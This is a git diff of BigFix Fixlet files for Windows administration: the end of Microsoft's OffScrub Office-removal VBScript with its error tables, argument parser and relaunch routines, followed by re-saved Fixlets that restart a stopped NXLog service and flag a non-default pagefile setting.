+        Case 30050,50 : SetupRetVal = "MsiAPICallFailure"
+        Case 30051,51 : SetupRetVal = "NodeNotOfTypeElement"
+        Case 30052,52 : SetupRetVal = "NoMoreGraceBoots"
+        Case 30053,53 : SetupRetVal = "NoProductsFound"
+        Case 30054,54 : SetupRetVal = "NoSupportedCulture"
+        Case 30055,55 : SetupRetVal = "NotYetImplemented"
+        Case 30056,56 : SetupRetVal = "NotAvailableCulture"
+        Case 30057,57 : SetupRetVal = "NotCustomizationPatch"
+        Case 30058,58 : SetupRetVal = "NullReference"
+        Case 30059,59 : SetupRetVal = "OCTPatchForbidden"
+        Case 30060,60 : SetupRetVal = "OCTWrongMSIDll"
+        Case 30061,61 : SetupRetVal = "OutOfBoundsIndex"
+        Case 30062,62 : SetupRetVal = "OutOfDiskSpace"
+        Case 30063,63 : SetupRetVal = "OutOfMemory"
+        Case 30064,64 : SetupRetVal = "OutOfRange"
+        Case 30065,65 : SetupRetVal = "PatchApplicationFailure"
+        Case 30066,66 : SetupRetVal = "PreReqCheckFailure"
+        Case 30067,67 : SetupRetVal = "ProcessAlreadyStarted"
+        Case 30068,68 : SetupRetVal = "ProcessNotStarted"
+        Case 30069,69 : SetupRetVal = "ProcessNotFinished"
+        Case 30070,70 : SetupRetVal = "ProductAlreadyDefined"
+        Case 30071,71 : SetupRetVal = "ResourceAlreadyTracked"
+        Case 30072,72 : SetupRetVal = "ResourceNotFound"
+        Case 30073,73 : SetupRetVal = "ResourceNotTracked"
+        Case 30074,74 : SetupRetVal = "SQLAlreadyConnected"
+        Case 30075,75 : SetupRetVal = "SQLFailedToAllocateHandle"
+        Case 30076,76 : SetupRetVal = "SQLFailedToConnect"
+        Case 30077,77 : SetupRetVal = "SQLFailedToExecuteStatement"
+        Case 30078,78 : SetupRetVal = "SQLFailedToRetrieveData"
+        Case 30079,79 : SetupRetVal = "SQLFailedToSetAttribute"
+        Case 30080,80 : SetupRetVal = "StorageNotCreated"
+        Case 30081,81 : SetupRetVal = "StreamNameTooLong"
+        Case 30082,82 : SetupRetVal = "SystemError"
+        Case 30083,83 : SetupRetVal = "ThreadAlreadyStarted"
+        Case 30084,84 : SetupRetVal = "ThreadNotStarted"
+        Case 30085,85 : SetupRetVal = "ThreadNotFinished"
+        Case 30086,86 : SetupRetVal = "TooManyProducts"
+        Case 30087,87 : SetupRetVal = "UnexpectedXMLNodeType"
+        Case 30088,88 : SetupRetVal = "UnexpectedError"
+        Case 30089,89 : SetupRetVal = "Unitialized"
+        Case 30090,90 : SetupRetVal = "UserCancel"
+        Case 30091,91 : SetupRetVal = "ExternalCommandFailed"
+        Case 30092,92 : SetupRetVal = "SPDatabaseOverSize"
+        Case 30093,93 : SetupRetVal = "IntegerTruncation"
+        'msiexec return values
+        Case 1259 : SetupRetVal = "APPHELP_BLOCK"
+        Case 1601 : SetupRetVal = "INSTALL_SERVICE_FAILURE"
+        Case 1602 : SetupRetVal = "INSTALL_USEREXIT"
+        Case 1603 : SetupRetVal = "INSTALL_FAILURE"
+        Case 1604 : SetupRetVal = "INSTALL_SUSPEND"
+        Case 1605 : SetupRetVal = "UNKNOWN_PRODUCT"
+        Case 1606 : SetupRetVal = "UNKNOWN_FEATURE"
+        Case 1607 : SetupRetVal = "UNKNOWN_COMPONENT"
+        Case 1608 : SetupRetVal = "UNKNOWN_PROPERTY"
+        Case 1609 : SetupRetVal = "INVALID_HANDLE_STATE"
+        Case 1610 : SetupRetVal = "BAD_CONFIGURATION"
+        Case 1611 : SetupRetVal = "INDEX_ABSENT"
+        Case 1612 : SetupRetVal = "INSTALL_SOURCE_ABSENT"
+        Case 1613 : SetupRetVal = "INSTALL_PACKAGE_VERSION"
+        Case 1614 : SetupRetVal = "PRODUCT_UNINSTALLED"
+        Case 1615 : SetupRetVal = "BAD_QUERY_SYNTAX"
+        Case 1616 : SetupRetVal = "INVALID_FIELD"
+        Case 1618 : SetupRetVal = "INSTALL_ALREADY_RUNNING"
+        Case 1619 : SetupRetVal = "INSTALL_PACKAGE_OPEN_FAILED"
+        Case 1620 : SetupRetVal = "INSTALL_PACKAGE_INVALID"
+        Case 1621 : SetupRetVal = "INSTALL_UI_FAILURE"
+        Case 1622 : SetupRetVal = "INSTALL_LOG_FAILURE"
+        Case 1623 : SetupRetVal = "INSTALL_LANGUAGE_UNSUPPORTED"
+        Case 1624 : SetupRetVal = "INSTALL_TRANSFORM_FAILURE"
+        Case 1625 : SetupRetVal = "INSTALL_PACKAGE_REJECTED"
+        Case 1626 : SetupRetVal = "FUNCTION_NOT_CALLED"
+        Case 1627 : SetupRetVal = "FUNCTION_FAILED"
+        Case 1628 : SetupRetVal = "INVALID_TABLE"
+        Case 1629 : SetupRetVal = "DATATYPE_MISMATCH"
+        Case 1630 : SetupRetVal = "UNSUPPORTED_TYPE"
+        Case 1631 : SetupRetVal = "CREATE_FAILED"
+        Case 1632 : SetupRetVal = "INSTALL_TEMP_UNWRITABLE"
+        Case 1633 : SetupRetVal = "INSTALL_PLATFORM_UNSUPPORTED"
+        Case 1634 : SetupRetVal = "INSTALL_NOTUSED"
+        Case 1635 : SetupRetVal = "PATCH_PACKAGE_OPEN_FAILED"
+        Case 1636 : SetupRetVal = "PATCH_PACKAGE_INVALID"
+        Case 1637 : SetupRetVal = "PATCH_PACKAGE_UNSUPPORTED"
+        Case 1638 : SetupRetVal = "PRODUCT_VERSION"
+        Case 1639 : SetupRetVal = "INVALID_COMMAND_LINE"
+        Case 1640 : SetupRetVal = "INSTALL_REMOTE_DISALLOWED"
+        Case 1641 : SetupRetVal = "SUCCESS_REBOOT_INITIATED"
+        Case 1642 : SetupRetVal = "PATCH_TARGET_NOT_FOUND"
+        Case 1643 : SetupRetVal = "PATCH_PACKAGE_REJECTED"
+        Case 1644 : SetupRetVal = "INSTALL_TRANSFORM_REJECTED"
+        Case 1645 : SetupRetVal = "INSTALL_REMOTE_PROHIBITED"
+        Case 1646 : SetupRetVal = "PATCH_REMOVAL_UNSUPPORTED"
+        Case 1647 : SetupRetVal = "UNKNOWN_PATCH"
+        Case 1648 : SetupRetVal = "PATCH_NO_SEQUENCE"
+        Case 1649 : SetupRetVal = "PATCH_REMOVAL_DISALLOWED"
+        Case 1650 : SetupRetVal = "INVALID_PATCH_XML"
+        Case 3010 : SetupRetVal = "SUCCESS_REBOOT_REQUIRED"
+        Case Else : SetupRetVal = "Unknown Return Value"
+    End Select
+End Function 'SetupRetVal
+'=======================================================================================================
+
+Function GetProductID(sProdID)
+        Dim sReturn
+
+        Select Case sProdId
+
+        Case "000F" : sReturn = "MONDO"
+        Case "0010" : sReturn = "WEBFLDRS"
+        Case "0011" : sReturn = "PROPLUS"
+        Case "0012" : sReturn = "STANDARD"
+        Case "0013" : sReturn = "BASIC"
+        Case "0014" : sReturn = "PRO"
+        Case "0015" : sReturn = "ACCESS"
+        Case "0016" : sReturn = "EXCEL"
+        Case "0017" : sReturn = "SharePointDesigner"
+        Case "0018" : sReturn = "PowerPoint"
+        Case "0019" : sReturn = "Publisher"
+        Case "001A" : sReturn = "Outlook"
+        Case "001B" : sReturn = "Word"
+        Case "001C" : sReturn = "AccessRuntime"
+        Case "001F" : sReturn = "Proof"
+        Case "0020" : sReturn = "O2007CNV"
+        Case "0021" : sReturn = "VisualWebDeveloper"
+        Case "0026" : sReturn = "ExpressionWeb"
+        Case "0029" : sReturn = "Excel"
+        Case "002A" : sReturn = "Office64"
+        Case "002B" : sReturn = "Word"
+        Case "002C" : sReturn = "Proofing"
+        Case "002E" : sReturn = "Ultimate"
+        Case "002F" : sReturn = "HomeAndStudent"
+        Case "0028" : sReturn = "IME"
+        Case "0030" : sReturn = "Enterprise"
+        Case "0031" : sReturn = "ProfessionalHybrid"
+        Case "0033" : sReturn = "Personal"
+        Case "0035" : sReturn = "ProfessionalHybrid"
+        Case "0037" : sReturn = "PowerPoint"
+        Case "0038" : sReturn = "OlTimeZoneTool"
+        Case "003A" : sReturn = "PrjStd"
+        Case "003B" : sReturn = "PrjPro"
+        Case "003D" : sReturn = "SINGLEIMAGE"
+        Case "0043" : sReturn = "OFFICE32"
+        Case "0044" : sReturn = "InfoPath"
+        Case "0045" : sReturn = "XWEB"
+        Case "0048" : sReturn = "OLC"
+        Case "0049" : sReturn = "ACADEMIC"
+        Case "004A" : sReturn = "OWC11"
+        Case "0051" : sReturn = "VISPRO"
+        Case "0052" : sReturn = "VisView"
+        Case "0053" : sReturn = "VisStd"
+        Case "0054" : sReturn = "VisMUI"
+        Case "0055" : sReturn = "VisMUI"
+        Case "0057" : sReturn = "VISIO"
+        Case "0061" : sReturn = "CLICK2RUN"
+        Case "0062" : sReturn = "CLICK2RUN"
+        Case "0066" : sReturn = "CLICK2RUN"
+        Case "006C" : sReturn = "CLICK2RUN"
+        Case "006D" : sReturn = "CLICK2RUN"
+        Case "006E" : sReturn = "Shared"
+        Case "006F" : sReturn = "OFFICE"
+        Case "0070" : sReturn = "OOBE"
+        Case "0074" : sReturn = "STARTER"
+        Case "007A" : sReturn = "OLC" 'Outlook Connector
+        Case "007C" : sReturn = "OSCFB" 'Outlook Social Connector for FaceBook
+        Case "007D" : sReturn = "OSCWL" 'Outlook Social Connector for Windows Live Messenger
+        Case "007F" : sReturn = "OLC" 'Outlook Social Connector
+        Case "008A" : sReturn = "RecentDocs"
+        Case "008B" : sReturn = "SmallBusinessBasics"
+        Case "00A1" : sReturn = "ONENOTE"
+        Case "00A3" : sReturn = "OneNoteHomeStudent"
+        Case "00A4" : sReturn = "OWC11"
+        Case "00A7" : sReturn = "CPAO"
+        Case "00A9" : sReturn = "InterConnect"
+        Case "00AF" : sReturn = "PPtView"
+        Case "00B0" : sReturn = "ExPdf"
+        Case "00B1" : sReturn = "ExXps"
+        Case "00B2" : sReturn = "ExPdfXps"
+        Case "00B4" : sReturn = "PrjMUI"
+        Case "00B5" : sReturn = "PrjtMUI"
+        Case "00B9" : sReturn = "AER"
+        Case "00BA" : sReturn = "Groove"
+        Case "00CA" : sReturn = "SmallBusiness"
+        Case "00E0" : sReturn = "Outlook"
+        Case "00D1" : sReturn = "ACE"
+        Case "0100" : sReturn = "OfficeMUI"
+        Case "0101" : sReturn = "OfficeXMUI"
+        Case "0103" : sReturn = "PTK"
+        Case "0114" : sReturn = "GrooveSetupMetadata"
+        Case "0115" : sReturn = "SharedSetupMetadata"
+        Case "0116" : sReturn = "SharedSetupMetadata"
+        Case "0117" : sReturn = "AccessSetupMetadata"
+        Case "011A" : sReturn = "SendASmile"
+        Case "011D" : sReturn = "ProPlusSubscription"
+        Case "011F" : sReturn = "OLConnect"
+        Case "0126" : sReturn = "WWLIBCXM"
+
+        Case "1014" : sReturn = "STS"
+        Case "1015" : sReturn = "WSSMUI"
+        Case "1032" : sReturn = "PJSVRAPP"
+        Case "104B" : sReturn = "SPS"
+        Case "104E" : sReturn = "SPSMUI"
+        Case "107F" : sReturn = "OSrv"
+        Case "1080" : sReturn = "OSrv"
+        Case "1088" : sReturn = "lpsrvwfe"
+        Case "10D7" : sReturn = "IFS"
+        Case "10D8" : sReturn = "IFSMUI"
+        Case "10EB" : sReturn = "DLCAPP"
+        Case "10F5" : sReturn = "XLSRVAPP"
+        Case "10F6" : sReturn = "XlSrvWFE"
+        Case "10F7" : sReturn = "DLC"
+        Case "10F8" : sReturn = "SlSrvMui"
+        Case "10FB" : sReturn = "OSrchWFE"
+        Case "10FC" : sReturn = "OSRCHAPP"
+        Case "10FD" : sReturn = "OSrchMUI"
+        Case "1103" : sReturn = "DLC"
+        Case "1104" : sReturn = "LHPSRV"
+        Case "1105" : sReturn = "PIA"
+        Case "1106" : sReturn = "GRVMGMTSRV"
+        Case "1109" : sReturn = "GSERVERRELAY"
+        Case "110D" : sReturn = "OSERVER"
+        Case "110F" : sReturn = "PSERVER"
+        Case "1110" : sReturn = "WSS"
+        Case "1121" : sReturn = "SPSSDK"
+        Case "1122" : sReturn = "SPSDev"
+        Case "1163" : sReturn = "SCC" 'SharePoint Client Components
+        Case Else : sReturn = sProdID
+
+        End Select 'sProdId
+    GetProductID = sReturn
+End Function 'GetProductID
+'=======================================================================================================
+
+Sub Log (sLog)
+    If NOT fQuiet AND fCScript Then wscript.echo sLog
+    LogStream.WriteLine sLog
+End Sub 'Log
+'=======================================================================================================
+
+Sub LogOnly (sLog)
+    LogStream.WriteLine sLog
+End Sub 'Log
+'=======================================================================================================
+
+Sub CheckError(sModule)
+    If Err <> 0 Then
+        LogOnly "   " & Now & " - " & sModule & " - Source: " & Err.Source & "; Err# (Hex): " & Hex( Err ) & _
+               "; Err# (Dec): " & Err & "; Description : " & Err.Description
+    End If 'Err = 0
+    Err.Clear
+End Sub
+'=======================================================================================================
+
+'Command line parser
+Sub ParseCmdLine
+
+    Dim iCnt, iArgCnt
+    Dim arrArguments
+    Dim sArg0, sArguments
+
+    iArgCnt = Wscript.Arguments.Count
+    If iArgCnt > 1 Then
+        If wscript.Arguments(1) = "UAC" Then
+            If wscript.arguments.count = 2 Then iArgCnt = 0
+        End If
+    End If
+
+    sArguments = ""
+    If iArgCnt = 0 Then
+        If sDefault = "" Then
+            'Create the log
+            CreateLog
+            Log "No argument specified. Preparing user prompt" & vbCrLf
+            fPassive = False
+            FindInstalledOProducts
+            If dicInstalledSku.Count > 0 Then sDefault = Join(RemoveDuplicates(dicInstalledSku.Items),",") Else sDefault = "CLIENTALL"
+            sDefault = InputBox("Enter a list of " & ONAME & " products to remove" & vbCrLf & vbCrLf & _
+                    "Examples:" & vbCrLf & _
+                    "CLIENTALL" & vbTab & "-> all Client products" & vbCrLf & _
+                    "SERVER" & vbTab & "-> all Server products" & vbCrLf & _
+                    "ALL" & vbTab & vbTab & "-> all Server & Client products" & vbCrLf & _
+                    "ProPlus,PrjPro" & vbTab & "-> ProPlus and Project" & vbCrLf &_
+                    "?" & vbTab & vbTab & "-> display Help", _
+                    SCRIPTFILE & " - " & ONAME & " remover", _
+                    sDefault)
+
+            If IsEmpty(sDefault) Then 'User cancelled
+                Log "User cancelled. CleanUp & Exit."
+                'Undo temporary entries created in ARP
+                TmpKeyCleanUp
+                wscript.quit 1602
+            End If 'IsEmpty(sDefault)
+            Log "Answer from prompt: " & sDefault & vbCrLf
+        End If
+        sDefault = Trim(UCase(Trim(Replace(sDefault, Chr(34), ""))))
+        arrArguments = Split(Trim(sDefault), " ")
+        If UBound(arrArguments) = -1 Then ReDim arrArguments(0)
+    Else
+        ReDim arrArguments(iArgCnt-1)
+        For iCnt = 0 To (iArgCnt-1)
+            sArguments = sArguments & arrArguments(iCnt) & " "
+            arrArguments(iCnt) = UCase(Wscript.Arguments(iCnt))
+        Next 'iCnt
+    End If 'iArgCnt = 0
+
+    'Handle the SKU list
+    sArg0 = Replace(arrArguments(0), "/", "")
+    If Left(sArg0, 1) = "-" Then sArg0 = Mid(sArg0, 2)
+
+    Select Case UCase(sArg0)
+
+    Case "?"
+        ShowSyntax
+
+    Case "ALL"
+        fRemoveAll = True
+        fRemoveOse = False
+
+    Case "CLIENTSUITES"
+        fRemoveCSuites = True
+        fRemoveOse = False
+
+    Case "CLIENTSTANDALONE"
+        fRemoveCSingle = True
+        fRemoveOse = False
+
+    Case "CLIENTALL"
+        fRemoveCSuites = True
+        fRemoveCSingle = True
+        fRemoveOse = False
+
+    Case "SERVER"
+        fRemoveSrv = True
+        fRemoveOse = False
+
+    Case "ALL,OSE"
+        fRemoveAll = True
+        fRemoveOse = True
+
+    Case Else
+        fRemoveAll = False
+        fRemoveOse = False
+        sSkuRemoveList = sArg0
+
+    End Select
+
+    For iCnt = 0 To UBound(arrArguments)
+
+        Select Case arrArguments(iCnt)
+
+        Case "?", "/?", "-?"
+            ShowSyntax
+
+        Case "/B", "/BYPASS"
+            If UBound(arrArguments) > iCnt Then
+                If InStr(arrArguments(iCnt + 1), "1") > 0 Then fBypass_Stage1 = True
+                If InStr(arrArguments(iCnt + 1), "2") > 0 Then fBypass_Stage2 = True
+                If InStr(arrArguments(iCnt + 1), "3") > 0 Then fBypass_Stage3 = True
+                If InStr(arrArguments(iCnt + 1), "4") > 0 Then fBypass_Stage4 = True
+            End If
+
+        Case "/D", "/DELETEUSERSETTINGS"
+            fKeepUser = False
+
+        Case "/FR", "/FASTREMOVE"
+            fBypass_Stage1 = True
+            fSkipSD = True
+
+        Case "/F", "/FORCE"
+            fForce = True
+
+        Case "/K", "/KEEPUSERSETTINGS"
+            fKeepUser = True
+
+        Case "/KEEPSG", "/KEEPSOFTGRID"
+            fKeepSG = True
+
+        Case "/KEEPLYNC"
+            fRemoveLync = False
+
+        Case "/REMOVELYNC"
+            fRemoveLync = True
+
+        Case "/L", "/LOG"
+            fLogInitialized = False
+            If UBound(arrArguments) > iCnt Then
+                If oFso.FolderExists(arrArguments(iCnt + 1)) Then
+                    sLogDir = arrArguments(iCnt + 1)
+                Else
+                    On Error Resume Next
+                    oFso.CreateFolder(arrArguments(iCnt + 1))
+                    If Err <> 0 Then sLogDir = sScrubDir Else sLogDir = arrArguments(iCnt + 1)
+                End If
+            End If
+
+        Case "/NOCANCEL"
+            fNoCancel = True
+
+        Case "/NOREBOOT"
+            fNoReboot = True
+
+        Case "/NE", "/NOELEVATE"
+            fNoElevate = True
+
+        Case "/O", "/OSE"
+            fRemoveOse = True
+
+        Case "/P", "/PREVIEW", "/DETECTONLY"
+            fDetectOnly = True
+
+        Case "/PASSIVE", "/QB-"
+            fPassive = True
+
+        Case "/Q", "/QUIET"
+            fQuiet = True
+
+        Case "/QB"
+            fQuiet = True
+            fBasic = True
+
+        Case "/QND"
+            fBypass_Stage1 = True
+            fBypass_Stage2 = True
+            fBypass_Stage3 = True
+            fRemoveOse = True
+            fRemoveOspp = True
+            fRemoveAll = True
+            fSkipSD = True
+            fForce = True
+
+        Case "/R", "/RECONCILE"
+            fTryReconcile = True
+
+        Case "/REMOVEOSPP" , "/CLEANOSPP"
+            fRemoveOspp = True
+
+        Case "/S", "/SKIPSD", "/SKIPSHORTCUTDETECTION"
+            fSkipSD = True
+
+        Case "/SC", "/SCANCOMPONENTS"
+            fBypass_Stage1 = False
+
+        Case Else
+
+        End Select
+    Next 'iCnt
+    If Not fLogInitialized Then CreateLog
+    LogOnly "Arguments: " & sArguments & vbCrLf
+
+End Sub 'ParseCmdLine
+'=======================================================================================================
+
+Sub CreateLog
+    Dim DateTime
+    Dim sLogName
+
+    On Error Resume Next
+    'Create the log file
+    Set DateTime = CreateObject("WbemScripting.SWbemDateTime")
+    DateTime.SetVarDate Now,True
+    sLogName = sLogDir & "\" & oWShell.ExpandEnvironmentStrings("%COMPUTERNAME%")
+    sLogName = sLogName &  "_" & Left(DateTime.Value,14)
+    sLogName = sLogName & "_ScrubLog.txt"
+    Err.Clear
+    Set LogStream = oFso.CreateTextFile(sLogName,True,True)
+    If Err <> 0 Then
+        Err.Clear
+        sLogDir = sScrubDir
+        sLogName = sLogDir & "\" & oWShell.ExpandEnvironmentStrings("%COMPUTERNAME%")
+        sLogName = sLogName &  "_" & Left(DateTime.Value,14)
+        sLogName = sLogName & "_ScrubLog.txt"
+        Set LogStream = oFso.CreateTextFile(sLogName,True,True)
+    End If
+
+    Log "Microsoft Customer Support Services - " & ONAME & " Removal Utility" & vbCrLf & vbCrLf & _
+                "OffScrub Version: " & SCRIPTVERSION & vbCrLf & _
+                "64 bit OS: " & f64
+    LogOnly     "OS Details: " & sOSinfo & vbCrLf
+    Log         "Start removal: " & Now & vbCrLf
+    fLogInitialized = True
+End Sub 'CreateLog
+'=======================================================================================================
+'-------------------------------------------------------------------------------
+'   RelaunchAs64Host
+'
+'   Relaunch self with 64 bit WScript host
+'-------------------------------------------------------------------------------
+Sub RelaunchAs64Host
+    Dim Argument, sCmd
+
+    sCmd = Replace (LCase(wscript.Path), "syswow64", "sysnative") & "\cscript.exe " & Chr(34) & WScript.scriptFullName & Chr(34)
+    If fQuiet AND NOT fCScript Then sCmd = Replace (sCmd, "\cscript.exe", "\wscript.exe")
+    If Wscript.Arguments.Count > 0 Then
+        For Each Argument in Wscript.Arguments
+            sCmd = sCmd & " " & chr(34) & Argument & chr(34)
+        Next 'Argument
+    Else
+    	If Not sDefault = "" Then sCmd = sCmd & " " & chr(34) & sDefault & chr(34)
+    End If
+    sCmd = sCmd & " /ChangedHostBitness"
+    Wscript.Quit oWShell.Run(sCmd, 1, True)
+
+End Sub 'RelaunchAs64Host
+'=======================================================================================================
+
+Sub RelaunchAsCScript
+    Dim Argument
+    Dim sCmdLine
+
+    sCmdLine = "cmd.exe /c " & WScript.Path & "\cscript.exe //NOLOGO " & Chr(34) & WScript.scriptFullName & Chr(34)
+    If Wscript.Arguments.Count > 0 Then
+        For Each Argument in Wscript.Arguments
+            sCmdLine = sCmdLine  &  " " & chr(34) & Argument & chr(34)
+        Next 'Argument
+    End If
+    Log "Relaunching with CScript as host. Full command: " & sCmdLine
+    Wscript.Quit oWShell.Run(sCmdLine, 1, True)
+End Sub 'RelaunchAsCScript
+'=======================================================================================================
+
+Sub RelaunchElevated
+    Dim Argument
+    Dim sCmdLine
+    Dim oShell
+
+    Set oShell = CreateObject("Shell.Application")
+
+    sCmdLine = Chr(34) & WScript.scriptFullName & Chr(34)
+    If Wscript.Arguments.Count > 0 Then
+        For Each Argument in Wscript.Arguments
+            Select Case UCase(Argument)
+            Case "/Q","/QUIET"
+                'Don't try to relaunch in quiet mode
+                Exit Sub
+            Case "UAC"
+                'Already tried elevated relaunch
+                Exit Sub
+            Case Else
+                sCmdLine = sCmdLine  &  " " & chr(34) & Argument & chr(34)
+            End Select
+        Next 'Argument
+    Else
+    	If Not sDefault = "" Then sCmdLine = sCmdLine & " " & chr(34) & sDefault & chr(34)
+    End If
+    oShell.ShellExecute "cscript.exe", sCmdLine & " /NoElevate UAC", "", "runas", 1
+    Wscript.Quit 5
+End Sub 'RelaunchElevated
+'=======================================================================================================
+
+'Show the expected syntax for the script usage
+Sub ShowSyntax
+    TmpKeyCleanUp
+    Wscript.Echo sErr & vbCrLf & _
+             SCRIPTFILE & " V " & SCRIPTVERSION & vbCrLf & _
+             "Copyright (c) Microsoft Corporation. All Rights Reserved" & vbCrLf & vbCrLf & _
+             SCRIPTFILE & " helps to remove " & ONAME & " Server & Client products" & vbCrLf & _
+             "when a regular uninstall is no longer possible" & vbCrLf & vbCrLf & _
+             "Usage:" & vbTab & SCRIPTFILE & " [List of config ProductIDs] [Options]" & vbCrLf & vbCrLf & _
+             vbTab & "/?                          ' Displays this help"& vbCrLf &_
+             vbTab & "/Log [LogfolderPath]        ' Custom folder for log files" & vbCrLf & _
+             vbTab & "/SkipSD                     ' Skips the ShortcutDetection in local profiles" & vbCrLf & _
+             vbTab & "/NoCancel                   ' Setup.exe and Msiexec.exe have no Cancel button" & vbCrLf &_
+             vbTab & "/Quiet                      ' Script, Setup.exe and Msiexec.exe run quiet with no UI" & vbCrLf &_
+             vbTab & "/Preview                    ' Run this script to preview what would get removed"& vbCrLf & vbCrLf & _
+             "Examples:"& vbCrLf & _
+             vbTab & SCRIPTFILE & " CLIENTSUITES    ' Remove all " & ONAME & " Client suites/products" & vbCrLf &_
+             vbTab & SCRIPTFILE & " CLIENTALL       ' Remove all " & ONAME & " Client products" & vbCrLf &_
+             vbTab & SCRIPTFILE & " SERVER          ' Remove all " & ONAME & " Server products" & vbCrLf &_
+             vbTab & SCRIPTFILE & " ALL             ' Remove all " & ONAME & " Server & Client products" & vbCrLf &_
+             vbTab & SCRIPTFILE & " ProPlus,PrjPro  ' Remove ProPlus and Project" & vbCrLf
+    Wscript.Quit
+End Sub 'ShowSyntax
+'=======================================================================================================
+_end_
+
+move __createfile "OffScrub_O15msi.vbs"
+
+waithidden cscript "OffScrub_O15msi.vbs"]]></ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Warning - NXLog is installed but not running - Windows (22649).bes b/Sites/Windows Management/Fixlets/Fixlets/Warning - NXLog is installed but not running - Windows (22649).bes
index a0fdcc737..7f81511c0 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Warning - NXLog is installed but not running - Windows (22649).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Warning - NXLog is installed but not running - Windows (22649).bes	
@@ -1,39 +1,39 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Warning - NXLog is installed but not running - Windows
-  ID       : 22649
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-11-22T09:18:07
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Warning - NXLog is installed but not running - Windows</Title>
-    <Description><![CDATA[<P>This Fixlet identifies and starts a stopped NXLog Client.</P>
-<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>exists service &quot;nxlog&quot;</Relevance>
-    <Relevance>state of service &quot;NXLog&quot; != &quot;Running&quot;</Relevance>
-    <Category>NXLog CE</Category>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-11-08</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
-
-waithidden net start nxlog</ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Warning - NXLog is installed but not running - Windows
+  ID       : 22649
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-11-22T09:18:07
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Warning - NXLog is installed but not running - Windows</Title>
+    <Description><![CDATA[<P>This Fixlet identifies and starts a stopped NXLog Client.</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists service &quot;nxlog&quot;</Relevance>
+    <Relevance>state of service &quot;NXLog&quot; != &quot;Running&quot;</Relevance>
+    <Category>NXLog CE</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-11-08</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
+
+waithidden net start nxlog</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Warning - Pagefile has non-default configuration - Windows (20537).bes b/Sites/Windows Management/Fixlets/Fixlets/Warning - Pagefile has non-default configuration - Windows (20537).bes
index 52b1df7f1..11ec01f74 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Warning - Pagefile has non-default configuration - Windows (20537).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Warning - Pagefile has non-default configuration - Windows (20537).bes	
@@ -1,27 +1,27 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Warning - Pagefile has non-default configuration - Windows
-  ID       : 20537
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-05-10T07:14:13
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Warning - Pagefile has non-default configuration - Windows</Title>
-    <Description><![CDATA[<P>The system pagefile has a non-default configuration.</P>
-<P>This is normally done as a troubleshooting step but is often not undone after troubleshooting.</P>
-<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
-    <Relevance>(value &quot;PagingFiles&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management&quot; of native registry as string) != &quot;?:\pagefile.sys%00%00&quot;</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-04-21</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Warning - Pagefile has non-default configuration - Windows
+  ID       : 20537
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-05-10T07:14:13
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
